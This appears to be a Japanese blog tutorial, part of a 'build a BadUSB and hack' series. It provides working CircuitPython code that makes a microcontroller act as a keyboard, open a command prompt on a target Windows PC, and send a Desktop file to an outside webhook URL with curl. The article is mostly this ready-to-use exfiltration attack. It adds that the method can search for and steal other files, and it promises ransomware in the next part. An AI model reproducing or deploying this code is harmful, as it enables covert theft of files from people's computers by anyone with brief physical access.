AI要約
小型ハッキングデバイス「BadUSB」を使い、標的PCの機密ファイルを窃取します。キーボードとして認識させたマイコンからコマンドプロンプトを自動操作し、curlコマンドで外部サーバーへ転送する仕組みを解説します。
はじめに
「BadUSBを作ってハッキングする」シリーズ。前回はマイコンのモード切替を実装しました
第2回はいよいよハッキングコードの中身を書くステップです。

ここではターゲットPCのデスクトップにあるファイルを盗み取ります。
HID化のパッケージ
マイコンをHID(Human Interface Device)化することで、ターゲットPCからはキーボードやマウスとして認識されます。
「Adafruit」はマイコンのいろいろを提供しているブランドです。CircuitPython環境でHID化してキー入力するためのパッケージを導入します。
ここから「adafruit_hid」フォルダを探してきて、ストレージモードで lib/adafruit_hid となるように入れます。
また、Adafruit本家のままでは「%」「¥(\)」「_」「|」あたりの記号が入力できないため、有志が作っている日本語配列用のモジュールも導入します。いくつか試しましたが、CircuitPython10系と相性の合うものがなかなか見つかりませんでした。以下のnak435様のパッケージがシンプルで成功しました。感謝です。

ターゲットファイル
ターゲットPCのデスクトップに機密文書「important.txt」を置いておきます。

受け取り側のサーバー
本来は自前のWebサーバーを用意したいところですが、面倒なので今回はウェブフックサービスを借ります。
「Webhook.site」を開き、一時的に発行されたURLを取得します。

hacking.py
コードはViperIDEで編集、書き込みます。テスト実行もできます。
前回の「main.py」は物理スイッチを検出して、コード自動実行モードなら「hacking.py」を呼びます。コード編集モードなら「hacking.py」単体でテスト実行できます。
import time
import usb_hid
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_jp import KeyboardLayoutJP
print("自動実行の準備をします...")
# キーボードとして認識されるまで少し待つ
time.sleep(1)
# キーボードの初期化
keyboard = Keyboard(usb_hid.devices)
# キーボードレイアウトの初期化
layout = KeyboardLayoutJP(keyboard)
print("処理を開始します...")
# Windowsキー + R で「ファイル名を指定して実行」を開く
keyboard.send(Keycode.GUI, Keycode.R)
time.sleep(0.5) # ウインドウが開くときは少し待機
# コマンドプロンプト(cmd)を開く
layout.write("cmd")
keyboard.send(Keycode.ENTER)
time.sleep(0.5) # ウインドウが開くときは少し待機
# 「chcp 65001」でUTF-8に切り替え
layout.write("chcp 65001")
keyboard.send(Keycode.ENTER)
# ターゲットのデスクトップに移動
# %USERPROFILE% = C:\Users\(USERNAME) の意味
layout.write("cd %USERPROFILE%\Desktop")
keyboard.send(Keycode.ENTER)
# important.txtの中身を表示してみる
layout.write("TYPE important.txt")
keyboard.send(Keycode.ENTER)
# curlコマンドでmportant.txtの中身をウェブフックサービスに送る
layout.write("curl -d @important.txt https://webhook.site/d876912b-e0f4-4e9e-be95-d15a8283f452")
keyboard.send(Keycode.ENTER)
# 「exit」でcmdを閉じる
layout.write("exit")
keyboard.send(Keycode.ENTER)
print("処理が完了しました")実行するとコマンドプロンプトが開き、いかにもハッキングされてる感じの動きをします。

ターゲットPCの中でデスクトップへ移動し、「important.txt」の中を表示した後、外部サーバーにアップロードしています。少しWarningが出ていますが気にしないでください。
ちなみに、このマイコンはネット接続できないのでターゲットPCのネットを使用しています。
「Webhook.site」の方で受け取れていることを確認します。

おわりに
この方法でターゲットPC内のファイル名一覧を取得したり、特定の文字列を含むファイルを検索して盗むこともできます。
次回は、特定のファイルをロックして身代金を要求するテキストを出してみましょう。いわゆるランサムウェアです。




